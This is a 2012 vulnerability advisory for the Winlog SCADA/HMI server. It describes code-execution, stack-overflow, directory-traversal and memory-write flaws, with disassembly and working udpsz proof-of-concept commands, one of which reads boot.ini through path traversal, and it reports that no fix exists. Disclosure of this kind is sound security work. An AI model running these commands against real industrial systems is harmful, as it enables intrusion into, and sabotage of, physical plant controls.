#######################################################################

                             Luigi Auriemma

Application:  Sielco Sistemi Winlog
              http://www.sielcosistemi.com/en/products/winlog_scada_hmi/
Versions:     <= 2.07.16
Platforms:    Windows
Bugs:         A] DbiGetRecordCount code execution
              B] @Db@TDataSet@Close$qqrv code execution
              C] DbiSetToRecordNo code execution
              D] _TCPIPS_BinOpenFileFP stack overflow
              E] Directory traversal
              F] write4
              G] write1
Exploitation: remote
Date:         26 Jun 2012
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bugs
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's website:
"Simple, flexible and economical, Winlog Pro is a SCADA/HMI software
package for the supervision of industrial and civil plants."


#######################################################################

=======
2) Bugs
=======


This software can act as a TCP/IP server by enabling the specific
"Run TCP/IP server" option available in the
"Configuration->Options->TCP/IP" section of the project we want to run
and Runtime.exe will listen on the TCP port 46824.

The part of the server running on this port uses a static buffer of
0x119 bytes to handle the incoming data so all the vulnerabilities
explained below can be exploited using these fixed addresses.

Then the exception handler used by the server allows to perform many
attempts without altering the normal work of the program.


-----------------------------------
A] DbiGetRecordCount code execution
-----------------------------------

  DbfIntf.DbiGetRecordCount:
  0038354B   8B10             MOV EDX,DWORD PTR DS:[EAX]
  0038354D   FF92 F4000000    CALL DWORD PTR DS:[EDX+F4]


-----------------------------------------
B] @Db@TDataSet@Close$qqrv code execution
-----------------------------------------

  Vcldb40.@Db@TDataSet@Close$qqrv:
  46012BEE   8B08             MOV ECX,DWORD PTR DS:[EAX]
  46012BF0   FF91 20010000    CALL DWORD PTR DS:[ECX+120]


----------------------------------
C] DbiSetToRecordNo code execution
----------------------------------

  DbfIntf.DbiSetToRecordNo:
  00382BEB   8B10             MOV EDX,DWORD PTR DS:[EAX]
  00382BED   FF92 F4000000    CALL DWORD PTR DS:[EDX+F4]


---------------------------------------
D] _TCPIPS_BinOpenFileFP stack overflow
---------------------------------------

  004134F6  /. 55                    PUSH EBP
  004134F7  |. 8BEC                  MOV EBP,ESP
  004134F9  |. 81C4 FCFEFFFF         ADD ESP,-104
  ...
  00413525  |> FF75 08               PUSH DWORD PTR SS:[EBP+8]      ; /Arg4
  00413528  |. 8B15 E8085B00         MOV EDX,DWORD PTR DS:[5B08E8]  ; |
  0041352E  |. 8D8D FCFEFFFF         LEA ECX,DWORD PTR SS:[EBP-104] ; |
  00413534  |. 81C2 E0020000         ADD EDX,2E0                    ; |
  0041353A  |. 52                    PUSH EDX                       ; |Arg3
  0041353B  |. 68 FC245600           PUSH Runtime.005624FC          ; |Arg2 = 005624FC ASCII "%s\%s"
  00413540  |. 51                    PUSH ECX                       ; |Arg1
  00413541  |. E8 B6BD1300           CALL Runtime.0054F2FC          ; \RunTime.0054F2FC sprintf()


----------------------
E] Directory traversal
----------------------

Through opcode 0x78 is possible to open any file on the disk where it's
running the server and with 0x96/0x97/0x98 is possible to read its
content.


---------
F] write4
---------

The opcodes used for the file operations specify a 32bit number that is
the element of the array returned by the server while opening the file
and so it can be used to load a file pointer outside the array
(stream lock table PUSH DWORD PTR DS:[EBX*4+5B0024]) and maybe reaching
EnterCriticalSection with an arbitrary value:

  EnterCriticalSection:
  7C81A1C1   F0:0FB301        LOCK BTR DWORD PTR DS:[ECX],EAX   ; LOCK prefix

Anyway exploiting a similar bug is very theoretical because it's hard
to bypass all the obstacles for using the own 32bit value with
EnterCriticalSection.


---------
G] write1
---------

The lack of checks on the return value of the realloc function used by
the software allows to put a 0x00 byte outside the existent buffer if
the specified size to reallocate is negative or unallocable:

  Vcl40.@System@@LStrSetLength$qqrv:
  40004F42   E8 E1DCFFFF      CALL Vcl40.@System@@ReallocMem$qqrv
  40004F47   58               POP EAX
  40004F48   83C0 08          ADD EAX,8
  40004F4B   8903             MOV DWORD PTR DS:[EBX],EAX
  40004F4D   8970 FC          MOV DWORD PTR DS:[EAX-4],ESI
  40004F50   C60430 00        MOV BYTE PTR DS:[EAX+ESI],0


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/udpsz.zip
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/19409.zip

A]
  udpsz -b a -T -C 15 0x14 -C "e6563600 e6563600" 0x15 SERVER 46824 0x119

B]
  udpsz -b a -T -C 17 0x14 -C "e6563600 ea563600 ce553600" 0x15 SERVER 46824 0x119

C]
  udpsz -b a -T -C 1e 0x14 -C "11111111 e6563600" 0x15 SERVER 46824 0x119
                -C 28
                -C 32
                -C 3c

D]
  udpsz -b a -T -C 78 0x14 SERVER 46824 0x119

E]
  udpsz -D -4 -T -C 78 0x14 -c "../../../../../../../../../../boot.ini\0" 0x15 SERVER 46824 0x119
  udpsz -D -4 -T -C 98 0x14 -C "00 00 00 00" 0x19 SERVER 46824 0x119

F]
  udpsz -b 0x40 -T SERVER 46824 0xfffff
  udpsz -T -C 7b 0x14 -b 0x7f -C "c1c13800" 0x15 SERVER 46824 0x119
  note that the above PoC does NOTHING, it's just a note

G]
  udpsz -T -C 15 0x14 -C "e6563600 7a553600 f2563600 88888888" 0x15 SERVER 46824 0x119


#######################################################################

======
4) Fix
======


No fix.